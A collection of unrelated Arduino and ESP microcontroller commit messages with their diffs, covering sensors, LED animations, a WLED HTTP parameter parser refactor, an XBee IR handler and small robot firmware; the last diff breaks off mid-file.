-    else if (WaterSensorValue >= 250 && WaterSensorValue < 400)
+    else if (nem  >= 50 && nem  < 75)
     {
      Serial.println("Toprak nem seviyesi / Soil humidity level: NORMAL");
      digitalWrite(led1,LOW);
      digitalWrite(led2,LOW);
      digitalWrite(led3,LOW);
     }
-    else if (WaterSensorValue >= 0 && WaterSensorValue < 250)
+    else if (nem  >= 75 && nem  < 100)
     {
      digitalWrite(led1,HIGH);
      Serial.println("Toprak nem seviyesi / Soil humidity level: LOW");
-
+     Serial.println("Sulama yapiliyor... / Watering...");
      for (pos = 0; pos <= 90; pos += 5) {
        // in steps of 5 degrees


update to have less probes, and only one per loop

--- examples/EnergyMonitor/EnergyMonitor.ino
+++ examples/EnergyMonitor/EnergyMonitor.ino
@@ -17,9 +17,13 @@

 #define SENSOR_ID "EDF"

+#define PROBE_DELAY 10000  //10 seconds
+#define ENERGY_VS_POWER_PROBE_RATIO 6

 PZEM004T pzem(D2,D1);
 IPAddress ip(192,168,1,1);
+
+int count = 0;

 void setup() {
   Serial.begin(115200);
@@ -35,42 +39,46 @@
   }
   myMqtt->loop();

+  count ++;

-  float v = pzem.voltage(ip);
+/*  float v = pzem.voltage(ip);
   wdt_reset();
   if (v < 0.0) v = 0.0;
   Serial.print(v);Serial.print("V; ");
   myMqtt->publishValue("voltage", (int)v, 1);
+*/

-
-
-
-
-
-  float i = pzem.current(ip);
+/*  float i = pzem.current(ip);
   wdt_reset();
   if(i >= 0.0){
     Serial.print(i);Serial.print("A; ");
     myMqtt->publishValue("current", i, 1);
   }
-
-  float p = pzem.power(ip);
-  wdt_reset();
-  if(p >= 0.0){
-    Serial.print(p);Serial.print("W; ");
-    myMqtt->publishValue("power", p, 1);
+*/
+
+  if (count % ENERGY_VS_POWER_PROBE_RATIO != 0)
+  {
+	  float p = pzem.power(ip);
+	  wdt_reset();
+	  if(p >= 0.0){
+		Serial.print(p);Serial.print("W; ");
+		myMqtt->publishValue("power", p, 1);
+	  }
   }

-  float e = pzem.energy(ip);
-  wdt_reset();
-  if(e >= 0.0){
-    Serial.print(e);Serial.print("Wh; ");
-    myMqtt->publishValue("energy", v, 1);
+  else
+  {
+	  float e = pzem.energy(ip);
+	  wdt_reset();
+	  if(e >= 0.0){
+		Serial.print(e);Serial.print("Wh; ");
+		myMqtt->publishValue("energy", e, 1);
+	  }
   }
-
+
   Serial.println();

-  delay(1000);
+  delay(PROBE_DELAY);
 }


update for esp32

update for esp32

--- examples/LedController/LedController.ino
+++ examples/LedController/LedController.ino
@@ -6,8 +6,14 @@
  */

 #include "OmEspHelpers.h"
-#include <ESP8266WebServer.h>
-#include <ESP8266WiFi.h>
+
+#ifdef ARDUINO_ARCH_ESP32
+#define analogWrite(_x1, _x2) // alas esp32 doesnt support analogWrite that way. just disable it.
+#endif
+
+#ifdef ARDUINO_ARCH_ESP8266
+// we dont need anything for this example.
+#endif

 void buttonProc(const char *page, const char *item, int value, int ref1, void *ref2)
 {


Roof_sensor now sends one measurement per line

--- roof_sensor_serial/roof_sensor_serial.ino
+++ roof_sensor_serial/roof_sensor_serial.ino
@@ -4,7 +4,7 @@
 // This sketch only runs on an Arduino Nano, due to specific AVR functions called for voltage reading.
 //
 // Handles reading temperature, humidity, rain & wind speed for a weather station.
-// Transmits back results via serial for a ESP-based device in the attic to send via MQTT & gather attic data
+// Transmits back results via serial for a ESP-based device in the attic to process and send via MQTT.
 //
 // Author - Joshua Villwock
 // Created - 2016-02-20
@@ -22,9 +22,9 @@
 #define TEMP_PIN_1_DELAY 10   // How often to update sensor

 #define TEXT_RAIN_FLIP "RAIN FLIP" // serial text to print on rain flip
-#define TEXT_OUTSIDE   "OUT:"      // serial text to print for temperature
-#define TEXT_TH_BREAK  ":"         // serial text to print for humidity
-#define TEXT_BATTERY   "bat:"      // serial text to print for voltage
+#define TEXT_OUTSIDE   "T:"        // serial text to print for temperature
+#define TEXT_HUMIDITY  "H:"        // serial text to print for humidity
+#define TEXT_BATTERY   "B:"        // serial text to print for voltage

 #define WIND_DEBOUNCE_TIME 200     // MICROseconds before accepting more wind
 #define RAIN_DEBOUNCE_TIME 2000    // MILLIseconds before accepting new rain
@@ -89,8 +89,8 @@
   float h = dht.readHumidity();
   if ( !isnan(f) && !isnan(h) ) {
     Serial.print(TEXT_OUTSIDE);
-    Serial.print(f);
-    Serial.print(TEXT_TH_BREAK);
+    Serial.println(f);
+    Serial.print(TEXT_HUMIDITY);
     Serial.println(h);
   }
   updateVoltage();


Waaay happier with the rim lights.  Nice animations, very clear button press response.  Binky, but not spastic.

--- src/Light/Light.ino
+++ src/Light/Light.ino
@@ -1,3 +1,8 @@
+// IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across
+// pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input
+// and minimize distance between Arduino and first pixel.  Avoid connecting
+// on a live circuit...if you must, connect GND first.
+
 #include <Adafruit_NeoPixel.h>
 #include <Streaming.h>
 #include <Metro.h>
@@ -5,8 +10,9 @@
 // RIM of LEDs
 #define RIM_PIN 6 // wire to rim DI pin.  Include a 330 Ohm resistor in series.
 #define RIM_N 85 // best if divisible by 4
-#define RIM_DECAY_RATE 1 // reduce intensity at each update
+#define RIM_LED_TTL 3000UL // reduce intensity at each update, so this is the amount of time we can expect a pixel to last
 #define RIM_UPDATE 100UL // update the automata on the rim at this interval
+#define RED_SEG_OFFSET floor((float)RIM_N / 4) // sort out where the LEDs are that match the button locations, in software.  You're welcome.

 // Parameter 1 = number of pixels in strip
 // Parameter 2 = Arduino pin number (most are valid)
@@ -15,79 +21,95 @@
 //   NEO_KHZ400  400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
 //   NEO_GRB     Pixels are wired for GRB bitstream (most NeoPixel products)
 //   NEO_RGB     Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
-Adafruit_NeoPixel rim = Adafruit_NeoPixel(RIM_N, RIM_PIN, NEO_GRB + NEO_KHZ800);
+Adafruit_NeoPixel rimJob = Adafruit_NeoPixel(RIM_N, RIM_PIN, NEO_GRB + NEO_KHZ800);

 // define some colors.
-const uint32_t Red = rim.Color(255, 0, 0);
-const uint32_t Grn = rim.Color(0, 255, 0);
-const uint32_t Blu = rim.Color(0, 0, 255);
-const uint32_t Yel = rim.Color(128, 128, 0);
-const uint32_t Dead = rim.Color(0, 0, 0);
-
-// IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across
-// pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input
-// and minimize distance between Arduino and first pixel.  Avoid connecting
-// on a live circuit...if you must, connect GND first.
+#define RED_MAX 255
+#define GRN_MAX 220
+#define BLU_MAX 210
+#define LED_OFF 0 // makes it a litle brighter in the Console.  0 is fine, too.
+const uint32_t SweetLoveMakin = rimJob.Color(RED_MAX / 4, GRN_MAX / 6, BLU_MAX / 9);
+const uint32_t Red = rimJob.Color(RED_MAX, LED_OFF, LED_OFF);
+const uint32_t Yel = rimJob.Color(RED_MAX, GRN_MAX, LED_OFF);
+const uint32_t Grn = rimJob.Color(LED_OFF, GRN_MAX, LED_OFF);
+const uint32_t Blu = rimJob.Color(LED_OFF, LED_OFF, BLU_MAX);
+const uint32_t Dead = rimJob.Color(LED_OFF, LED_OFF, LED_OFF);

 void setup() {
   Serial.begin(115200);

   randomSeed(analogRead(0));

-  rim.begin(); // Initialize all pixels to 'off'
-  simulateButtonPress();
-  rim.show();
-  //  test(rim); // run through some tests
+  // Initialize all pixels to 'sweet love makin'
+  rimJob.begin();
+  for ( uint16_t i = 0; i < rimJob.numPixels(); i++ ) {
+    rimJob.setPixelColor(i, SweetLoveMakin);
+  }
+  rimJob.show();
+  delay(1000);
+
+  //  test(rimJob); // run through some tests
   Serial << "Light: startup complete." << endl;
 }

 void loop() {
-  // simulate a button press
-  // simulate button presses.  replace this with Button library to 4x GPIO pins.
-  static Metro buttonUpdate(1000UL);
-  if ( buttonUpdate.check() ) {
-    simulateButtonPress();
-    rim.show();
-    buttonUpdate.reset();
-  }
-
-  // update the rim
-  static Metro rimUpdate(RIM_UPDATE);
-  if ( rimUpdate.check() ) {
-    Serial << ".";
-    updateRule90(rim, RIM_DECAY_RATE);
-    rim.show();
-    rimUpdate.reset();
-  }
-
-}
-
-void simulateButtonPress() {
-  const uint16_t rimSegLength = floor((float)RIM_N / 4);
-
-  uint8_t button = random(0, 4); // pick a button
+
+  // simulate button presses.  replace this with Button library to 4x GPIO pins wired to Mega.
+  static Metro buttonTimer(500UL);
+  static boolean buttonHeld = true;
+  static uint8_t buttonPressed = 0; // pick a button
+
+  // flip-flop between pressed and not pressed.
+  if ( buttonTimer.check() ) {
+    if ( buttonHeld ) { // stop holding it.
+      buttonTimer.interval(random(420UL, 420UL * 2UL));
+      buttonTimer.reset();
+      buttonPressed = 4;
+      Serial << "Release." << endl;
+    } else { // press it
+      buttonTimer.interval(random(420UL / 2UL, 420UL));
+      buttonTimer.reset();
+      buttonPressed = random(0, 4); // pick button
+      Serial << "Press." << endl;
+    }
+    buttonHeld = !buttonHeld;
+  }
+
+  // update the rimJob
+  static Metro rimJobUpdate(RIM_UPDATE);
+  if ( rimJobUpdate.check() ) {
+    // compute the next step
+    updateRule90(rimJob, RIM_LED_TTL);
+
+    // check for buttons
+    if ( buttonHeld ) buttonPressPattern(buttonPressed);
+
+    // go to press
+    rimJob.show();
+    rimJobUpdate.reset();
+  }
+
+}
+
+void buttonPressPattern(uint8_t button) {
+  const uint16_t rimJobSegLength = floor((float)RIM_N / 4);
+
   switch (button) {
-      delay(1000);
-    case 0: buttonPressToRim(Red, 0, rimSegLength); break;
-    case 2: buttonPressToRim(Blu, rimSegLength, rimSegLength); break;
-    case 3: buttonPressToRim(Yel, rimSegLength * 2, rimSegLength); break;
-    case 1: buttonPressToRim(Grn, rimSegLength * 3, rimSegLength); break;
+    case 0: buttonPressToRim(Red, RED_SEG_OFFSET, rimJobSegLength); break;
+    case 2: buttonPressToRim(Blu, RED_SEG_OFFSET + rimJobSegLength, rimJobSegLength); break;
+    case 3: buttonPressToRim(Yel, RED_SEG_OFFSET + rimJobSegLength * 2, rimJobSegLength); break;
+    case 1: buttonPressToRim(Grn, RED_SEG_OFFSET + rimJobSegLength * 3, rimJobSegLength); break;
   }

 }

 void buttonPressToRim(const uint32_t color, uint16_t segStart, uint16_t segLength) {
-  Serial << F("Button.  Adding pixels from ") << segStart << F(" to ") << segStart + segLength - 1;
+  Serial << F("Button.  Adding pixels from ") << segStart << F(" to ") << segStart + segLength - 1 << ". Color: ";
   printColor(color);
-  Serial << endl;
-
-  // clear the segment
-  for ( uint16_t i = segStart + 1; i < segLength; i++ ) {
-    rim.setPixelColor(segStart + i, Dead);
-  }
-  // put down the color every other pixel
-  for ( uint16_t i = 0; i < segLength; i += 3 ) {
-    rim.setPixelColor(segStart + i, color);
+
+  // clear the segment and lay down this color
+  for ( int i = 1; i < segLength; i++ )  {
+    rimJob.setPixelColor((segStart + i) % RIM_N, color);
   }

 }
@@ -99,7 +121,7 @@
   cv[2] = (c << 24) >> 24;
 }
 uint32_t packColor(uint8_t * cv) {
-  return ( rim.Color(cv[0], cv[1], cv[2]) );
+  return ( rimJob.Color(cv[0], cv[1], cv[2]) );
 }
 void printColor(uint32_t c) {
   // pull out RGB elements
@@ -109,23 +131,30 @@
 }

 // adjust color with a decrement
-uint32_t adjustColor(uint32_t c, int adj) {
+uint32_t adjustColor(uint32_t c, unsigned long ttl) {
   // pull out RGB elements
   uint8_t cv[3];
   signed int cvl[3];
   extractColor(c, cv);
-
+  int adj;
+
   // for each color
   for ( uint8_t i = 0; i < 3; i++ ) {
-    if( cv[i]>= adj ) { // unsiged stuff.  take care.
+
+    // try to smoothly drop the colors
+    if( i==0 ) adj=RED_MAX/(RIM_LED_TTL/RIM_UPDATE);
+    else if( i==1 ) adj=GRN_MAX/(RIM_LED_TTL/RIM_UPDATE);
+    else adj=BLU_MAX/(RIM_LED_TTL/RIM_UPDATE);
+
+    if ( cv[i] >= adj + LED_OFF ) { // unsiged stuff.  take care.
       cv[i] = cv[i] - adj;
     } else {
-      cv[i] = 0;
-    }
-//    Serial << cv[i] << endl;
-  }
-
-//  while(1);
+      cv[i] = LED_OFF;
+    }
+    //    Serial << cv[i] << endl;
+  }
+
+  //  while(1);
   // repack and return
   return ( packColor(cv) );
 }
@@ -146,17 +175,17 @@
     // xor by color channel
     if ( c1v[i] > 0 && c2v[i] > 0 ) {
       // alive in both cells, so drop this channel.
-      cv[i] = 0;
+      cv[i] = LED_OFF;
     } else {
-      // dead in one, so sum them.
-      cv[i] = c1v[i] + c2v[i];
+      // dead in one, so sum them.  unsigned type is doing some funky stuff when >255.
+      cv[i] = max(c1v[i], c2v[i]);
     }
   }
   return ( packColor(cv) );
 }

 // updates the automata using a modified Rule 90
-void updateRule90(Adafruit_NeoPixel &strip, uint8_t decay) {
+void updateRule90(Adafruit_NeoPixel &strip, unsigned long ttl) {
   // intialize first cell
   uint32_t cs = strip.getPixelColor(0);
   uint32_t ps = strip.getPixelColor(strip.numPixels() - 1);
@@ -176,11 +205,11 @@

     // apply Rule 90
     if ( ps == Dead ) {
-      color = adjustColor(ns, decay);
+      color = adjustColor(ns, ttl);
     } else if ( ns == Dead ) {
-      color = adjustColor(ps, decay);
+      color = adjustColor(ps, ttl);
     } else {
-      color = adjustColor(mergeColor(ps, ns), decay);
+      color = mergeColor(adjustColor(ps, ttl), adjustColor(ns, ttl));
     }


Improved binary size

Improved binary size

--- wled00/wled03_set.ino
+++ wled00/wled03_set.ino
@@ -309,6 +309,15 @@
   if (subPage == 2) strip.init(useRGBW,ledCount,skipFirstLed);
 }

+
+//helper to get int value at a position in string
+int getNumVal(String* req, uint16_t pos)
+{
+  return req->substring(pos + 3).toInt();
+}
+
+
+//HTTP API request parser
 bool handleSet(String req)
 {
   if (!(req.indexOf("win") >= 0)) return false;
@@ -338,17 +347,17 @@
   //set brigthness
   pos = req.indexOf("&A=");
   if (pos > 0) {
-    bri = req.substring(pos + 3).toInt();
+    bri = getNumVal(&req, pos);
   }

   //set hue
   pos = req.indexOf("HU=");
   if (pos > 0) {
-    uint16_t temphue = req.substring(pos + 3).toInt();
+    uint16_t temphue = getNumVal(&req, pos);
     byte tempsat = 255;
     pos = req.indexOf("SA=");
     if (pos > 0) {
-      tempsat = req.substring(pos + 3).toInt();
+      tempsat = getNumVal(&req, pos);
     }
     colorHStoRGB(temphue,tempsat,(req.indexOf("H2")>0)? colSec:col);
   }
@@ -356,43 +365,43 @@
   //set red value
   pos = req.indexOf("&R=");
   if (pos > 0) {
-    col[0] = req.substring(pos + 3).toInt();
+    col[0] = getNumVal(&req, pos);
   }
   //set green value
   pos = req.indexOf("&G=");
   if (pos > 0) {
-    col[1] = req.substring(pos + 3).toInt();
+    col[1] = getNumVal(&req, pos);
   }
   //set blue value
   pos = req.indexOf("&B=");
   if (pos > 0) {
-    col[2] = req.substring(pos + 3).toInt();
+    col[2] = getNumVal(&req, pos);
   }
   //set white value
   pos = req.indexOf("&W=");
   if (pos > 0) {
-    white = req.substring(pos + 3).toInt();
+    white = getNumVal(&req, pos);
   }

   //set 2nd red value
   pos = req.indexOf("R2=");
   if (pos > 0) {
-    colSec[0] = req.substring(pos + 3).toInt();
+    colSec[0] = getNumVal(&req, pos);
   }
   //set 2nd green value
   pos = req.indexOf("G2=");
   if (pos > 0) {
-    colSec[1] = req.substring(pos + 3).toInt();
+    colSec[1] = getNumVal(&req, pos);
   }
   //set 2nd blue value
   pos = req.indexOf("B2=");
   if (pos > 0) {
-    colSec[2] = req.substring(pos + 3).toInt();
+    colSec[2] = getNumVal(&req, pos);
   }
   //set 2nd white value
   pos = req.indexOf("W2=");
   if (pos > 0) {
-    whiteSec = req.substring(pos + 3).toInt();
+    whiteSec = getNumVal(&req, pos);
   }

   //set color from HEX or 32bit DEC
@@ -432,7 +441,7 @@
   //set to random hue SR=0->1st SR=1->2nd
   pos = req.indexOf("SR");
   if (pos > 0) {
-    _setRandomColor(req.substring(pos + 3).toInt());
+    _setRandomColor(getNumVal(&req, pos));
   }
   //set 2nd to 1st
   pos = req.indexOf("SP");
@@ -460,40 +469,28 @@
   //set current effect index
   pos = req.indexOf("FX=");
   if (pos > 0) {
-    if (effectCurrent != req.substring(pos + 3).toInt())
-    {
-      effectCurrent = req.substring(pos + 3).toInt();
-    }
+    effectCurrent = getNumVal(&req, pos);
   }
   //set effect speed
   pos = req.indexOf("SX=");
   if (pos > 0) {
-    if (effectSpeed != req.substring(pos + 3).toInt())
-    {
-      effectSpeed = req.substring(pos + 3).toInt();
-    }
+    effectSpeed = getNumVal(&req, pos);
   }
   //set effect intensity
   pos = req.indexOf("IX=");
   if (pos > 0) {
-    if (effectIntensity != req.substring(pos + 3).toInt())
-    {
-      effectIntensity = req.substring(pos + 3).toInt();
-    }
+    effectIntensity = req.substring(pos + 3).toInt();
   }
   //set effect palette (only for FastLED effects)
   pos = req.indexOf("FP=");
   if (pos > 0) {
-    if (effectPalette != req.substring(pos + 3).toInt())
-    {
-      effectPalette = req.substring(pos + 3).toInt();
-    }
+    effectPalette = req.substring(pos + 3).toInt();
   }

   //set hue polling light: 0 -off
   pos = req.indexOf("HP=");
   if (pos > 0) {
-    int id = req.substring(pos + 3).toInt();
+    int id = getNumVal(&req, pos);
     if (id > 0)
     {
       if (id < 100) huePollLightId = id;
@@ -506,21 +503,21 @@
   //set default control mode (0 - RGB, 1 - HSB)
   pos = req.indexOf("MD=");
   if (pos > 0) {
-    useHSB = req.substring(pos + 3).toInt();
+    useHSB = getNumVal(&req, pos);
   }
   //set advanced overlay
   pos = req.indexOf("OL=");
   if (pos > 0) {
-    overlayCurrent = req.substring(pos + 3).toInt();
+    overlayCurrent = getNumVal(&req, pos);
     strip.unlockAll();
   }
   //(un)lock pixel (ranges)
   pos = req.indexOf("&L=");
   if (pos > 0){
-    int index = req.substring(pos + 3).toInt();
+    int index = getNumVal(&req, pos);
     pos = req.indexOf("L2=");
     if (pos > 0){
-      int index2 = req.substring(pos + 3).toInt();
+      int index2 = getNumVal(&req, pos);
       if (req.indexOf("UL") > 0)
       {
         strip.unlockRange(index, index2);
@@ -543,7 +540,7 @@
   //apply macro
   pos = req.indexOf("&M=");
   if (pos > 0) {
-    applyMacro(req.substring(pos + 3).toInt());
+    applyMacro(getNumVal(&req, pos));
   }
   //toggle send UDP direct notifications
   if (req.indexOf("SN=") > 0)
@@ -577,7 +574,7 @@
       bri = briT;
     } else {
       nightlightActive = true;
-      if (!aNlDef) nightlightDelayMins = req.substring(pos + 3).toInt();
+      if (!aNlDef) nightlightDelayMins = getNumVal(&req, pos);
       nightlightStartTime = millis();
     }
   } else if (aNlDef)
@@ -589,7 +586,7 @@
   //set nightlight target brightness
   pos = req.indexOf("NT=");
   if (pos > 0) {
-    nightlightTargetBri = req.substring(pos + 3).toInt();
+    nightlightTargetBri = getNumVal(&req, pos);
     nightlightActiveOld = false; //re-init
   }

@@ -608,20 +605,20 @@
   //toggle general purpose output
   pos = req.indexOf("AX=");
   if (pos > 0) {
-    auxTime = req.substring(pos + 3).toInt();
+    auxTime = getNumVal(&req, pos);
     auxActive = true;
     if (auxTime == 0) auxActive = false;
   }
   pos = req.indexOf("TT=");
   if (pos > 0) {
-    transitionDelay = req.substring(pos + 3).toInt();
+    transitionDelay = getNumVal(&req, pos);
   }

   //main toggle on/off
   pos = req.indexOf("&T=");
   if (pos > 0) {
     nightlightActive = false; //always disable nightlight when toggling
-    switch (req.substring(pos + 3).toInt())
+    switch (getNumVal(&req, pos))
     {
       case 0: if (bri != 0){briLast = bri; bri = 0;} break; //off
       case 1: bri = briLast; break; //on
@@ -634,22 +631,22 @@
   //set time (unix timestamp)
   pos = req.indexOf("ST=");
   if (pos > 0) {
-    setTime(req.substring(pos+3).toInt());
+    setTime(getNumVal(&req, pos));
   }

   //set countdown goal (unix timestamp)
   pos = req.indexOf("CT=");
   if (pos > 0) {
-    countdownTime = req.substring(pos+3).toInt();
+    countdownTime = getNumVal(&req, pos);
     if (countdownTime - now() > 0) countdownOverTriggered = false;
   }

   //set presets
   pos = req.indexOf("P1="); //sets first preset for cycle
-  if (pos > 0) presetCycleMin = req.substring(pos + 3).toInt();
+  if (pos > 0) presetCycleMin = getNumVal(&req, pos);

   pos = req.indexOf("P2="); //sets last preset for cycle
-  if (pos > 0) presetCycleMax = req.substring(pos + 3).toInt();
+  if (pos > 0) presetCycleMax = getNumVal(&req, pos);

   if (req.indexOf("CY=") > 0) //preset cycle
   {
@@ -662,7 +659,7 @@
   }
   pos = req.indexOf("PT="); //sets cycle time in ms
   if (pos > 0) {
-    int v = req.substring(pos + 3).toInt();
+    int v = getNumVal(&req, pos);
     if (v > 49) presetCycleTime = v;
   }
   if (req.indexOf("PA=") > 0) //apply brightness from preset
@@ -683,11 +680,11 @@

   pos = req.indexOf("PS="); //saves current in preset
   if (pos > 0) {
-    savePreset(req.substring(pos + 3).toInt());
+    savePreset(getNumVal(&req, pos));
   }
   pos = req.indexOf("PL="); //applies entire preset
   if (pos > 0) {
-    applyPreset(req.substring(pos + 3).toInt(), presetApplyBri, presetApplyCol, presetApplyFx);
+    applyPreset(getNumVal(&req, pos), presetApplyBri, presetApplyCol, presetApplyFx);
   }

   //cronixie
@@ -717,11 +714,11 @@

   pos = req.indexOf("U0="); //user var 0
   if (pos > 0) {
-    userVar0 = req.substring(pos + 3).toInt();
+    userVar0 = getNumVal(&req, pos);
   }
   pos = req.indexOf("U1="); //user var 1
   if (pos > 0) {
-    userVar1 = req.substring(pos + 3).toInt();
+    userVar1 = getNumVal(&req, pos);
   }
   //you can add more if you need


paul's suggestion for png. compiles clean but doesn't work


add switch clause to determine received IR signals

currently using some random Sony buttons, can be changed later

--- XBee_test/XBee_test.ino
+++ XBee_test/XBee_test.ino
@@ -6,6 +6,17 @@
 int RECV_PIN = 8;
 IRrecv irrecv(RECV_PIN);
 decode_results results;
+int deviceStatus = 0;
+int pendingTimer;
+
+#define statusOff 0
+#define statusPending 1
+#define statusOn 2
+
+
+const unsigned long signalInit = 0xA90;
+const unsigned long signalVerify = 0xAF0;
+const unsigned long signalConfirm = 0xA70;

 void setup()
 {
@@ -21,7 +32,7 @@

 void loop() // run over and over
 {
-  if (XBee.available()) {
+  if(XBee.available()) {
     Serial.write(XBee.read());

     digitalWrite(ledPin, HIGH);
@@ -30,16 +41,46 @@
     XBee.write("roger");
   }

-  if (Serial.available()) {
+  if(Serial.available()) {
     Serial.write(Serial.read());
     XBee.println("msg from serial");
   }

-  if (irrecv.decode(&results)) {
+  if(irrecv.decode(&results)) {
+
+    //todo: filter redundant FFFFFFFF
+
     Serial.println(results.value, HEX);
+    // Serial.println(results.decode_type);
+
     XBee.print("IR: ");
     XBee.println(results.value, HEX);
+
+    switch(results.value) {
+      case signalInit:
+        Serial.println("singalStart");
+        XBee.println("singalStart");
+        break;
+
+      case signalVerify:
+        Serial.println("singalVerify");
+        XBee.println("singalVerify");
+        break;
+
+      case signalConfirm:
+        Serial.println("singalConfirm");
+        XBee.println("singalConfirm");
+        break;
+
+    }
+
     irrecv.resume(); // Receive the next value
+
+  }
+
+  if(deviceStatus == statusPending) {
+    //todo: start blinking
+    ;
   }

 }


license, comments

license, comments

--- examples/BH1750Simple/BH1750Simple.ino
+++ examples/BH1750Simple/BH1750Simple.ino
@@ -1,17 +1,33 @@
 /*
-
- Example of AS_BH1750 library usage.
-
- This example initalises the BH1750 object using the default
- high resolution mode and then makes a light level reading every second.
-
- Connection:
- VCC-5v
- GND-GND
- SCL-SCL(analog pin 5)
- SDA-SDA(analog pin 4)
- ADD-NC or GND
-
+ *  Example of AS_BH1750 library usage.
+ *
+ *  This example initalises the BH1750 object using the default
+ *  adaptive auto-high-resolution mode and then makes
+ *  a light level reading about every second.
+ *  (the sensitivity and resolution are automatically adapted
+ *  the current light conditions)
+ *
+ *  Wiring:
+ *  VCC-5v
+ *  GND-GND
+ *  SCL-SCL(analog pin 5)
+ *  SDA-SDA(analog pin 4)
+ *  ADD-NC or GND
+ *
+ *  Copyright (c) 2013 Alexander Schulz.  All right reserved.
+ *
+ *  This program is free software: you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation, either version 3 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
  */

 #include <Wire.h>
@@ -22,6 +38,9 @@
 void setup(){
   Serial.begin(9600);
   delay(50);
+
+  // for normal sensor resolution (1 lx resolution, 0-65535 lx, 120ms.) use: sensor.begin(RESOLUTION_NORMAL, false);
+  // Initialize sensor. if sensor is not present, false is returned
   if(sensor.begin()) {
     Serial.println("Sensor initialized");
   }
@@ -29,7 +48,9 @@
     Serial.println("Sensor not present");
   }

-  /*if(sensor.isPresent()) {
+  /*
+  // to check the sensor present
+  if(sensor.isPresent()) {
     Serial.println("Sensor present");
   }
   else {
@@ -45,4 +66,3 @@
   delay(1000);
 }

-


Port program to sparkfun breakout mini

Port program to sparkfun breakout mini

--- ringbuf/mkrzero-timer-adc/mkrzero-timer-adc.ino
+++ ringbuf/mkrzero-timer-adc/mkrzero-timer-adc.ino
@@ -12,7 +12,6 @@
 #include "ADC.h"
 #include "Timer.h"

-
 const int  sampleRate     = 3000;
 const long serialRate     = 2000000;
 const int  bufferCapacity = 2048;
@@ -20,7 +19,7 @@

 void setup() {
   pinMode(LED_BUILTIN, OUTPUT);
-  Serial.begin(serialRate);
+  SerialUSB.begin(serialRate);

   Analog::setup();
   Timer::setup(sampleRate, measure);
@@ -28,8 +27,8 @@

 void loop() {
   static int counter = 0;
-  bool state = (counter++ >> 5) % 2;
-  digitalWrite(LED_BUILTIN, rbuf.isFull() ? HIGH : LOW);
+  bool state = (counter++ >> 8) % 2;
+  digitalWrite(LED_BUILTIN, state ? HIGH : LOW);
   push();
   delayMicroseconds(5);
 }
@@ -38,16 +37,16 @@
   while (rbuf.hasElements()) {
     MODEL m = rbuf.pop();
 #ifdef USE_BINARY
-    Serial.write(rbuf.isFull() ? 'f' : 'n');
-    Serial.write(m.bytes, NBYTES);
+    SerialUSB.write(rbuf.isFull() ? 'f' : 'n');
+    SerialUSB.write(m.bytes, NBYTES);
 #else
-    Serial.print(rbuf.size());
+    SerialUSB.print(rbuf.size());
     for (int i = 0; i < NWORDS; i++) {
-      Serial.print('\t');
-      Serial.print(m.words[i], DEC);
+      SerialUSB.print('\t');
+      SerialUSB.print(m.words[i], DEC);
     }
 #endif
-    Serial.write('\n');
+    SerialUSB.write('\n');
   }
 }


Update ffdgjghk.ino

Update ffdgjghk.ino

--- temp/ffdgjghk.ino
+++ temp/ffdgjghk.ino
@@ -21,7 +21,7 @@
   CK_A+=ubx_data;
   CK_B+=CK_A;
 }
-void getUBX(void) //Получаем покет и делаем с ним штуки
+void getUBX(void) //Получаем пакет и делаем с ним штуки
 {
   if (Serial.available())
   {


Basic firmware

Basic firmware

Keeps driving forward until it hits something, then reacts
appropriately (super dumb).

--- software/firmware/LogoBotBasic/LogoBotBasic.ino
+++ software/firmware/LogoBotBasic/LogoBotBasic.ino
@@ -4,6 +4,7 @@
 #include <Servo.h>

 Bot bot(MOTOR_L_PIN_1, MOTOR_L_PIN_2, MOTOR_L_PIN_3, MOTOR_L_PIN_4, MOTOR_R_PIN_1, MOTOR_R_PIN_2, MOTOR_R_PIN_3, MOTOR_R_PIN_4);
+String cmd; // cmd received over serial - builds up char at a time

 void setup()
 {
@@ -12,36 +13,36 @@
   bot.begin();
   bot.initBumpers(SWITCH_FL_PIN, SWITCH_FR_PIN, SWITCH_BL_PIN, SWITCH_BR_PIN, handleCollision);
   bot.initBuzzer(BUZZER_PIN);
-  //bot.lookAheadEnable(true);
   bot.playStartupJingle();
 }

 void loop()
 {
+  // keep the bot moving (this triggers the stepper motors to move, so needs to be called frequently, i.e. >1KHz)
+  bot.run();

-  // keep the bot moving (this triggers the stepper motors to move, so needs to be called frequently, i.e. >1KHz)
-  //bot.run();
-
-  // check sensor value, report on Serial
-  delay(500);
-  Serial.println(digitalRead(IR_LEFT_PIN));
+  if (!bot.isBusy()) {  // See if the bot has finished whatever it's doing...
+    // keep it moving, until it hits something
+    bot.drive(50);
+  }
 }

 static void handleCollision(byte collisionData)
 {
 	if (collisionData != 0) {
-		// Just hit something, so stop and buzz
-		bot.emergencyStop();  // this will be called by parseLogoCommand
+		// Just hit something, so stop, buzz and backoff
+		bot.emergencyStop();
 		bot.buzz(500);
+		bot.drive(-20);
 	}

 	// Insert some recovery based on which bumper was hit
-	bot.drive(-20);
+	// Queue the moves directly to bot, don't bother with Logo command queue
 	if (collisionData == 1) {
         bot.turn(-30);
 	} else if (collisionData == 2) {
         bot.turn(60);
-	} else {
+	} else if (collisionData != 0) {
         bot.turn(-90);
 	}
 }


more tests

more tests

--- arduino/catdoor_v2_A/catdoor_v2_A.ino
+++ arduino/catdoor_v2_A/catdoor_v2_A.ino
@@ -1,17 +1,74 @@
+#include "ADA_LIS3DH.h"
+
+//#define TEST_ACCEL 1
+//#define TEST_PWM 1
+#define TEST_SOLENOIDS 1
+
+#ifdef TEST_ACCEL
+#define USE_SERIAL 1
+#endif
+
+// Initialize the accelerometer with the default parameter --> use default I2C address
+ADA_LIS3DH accel_sensor = ADA_LIS3DH();
+
 void setup() {
-    pwm_configure();
+#ifdef USE_SERIAL
+  Serial.begin(9600);
+  while (!Serial) {
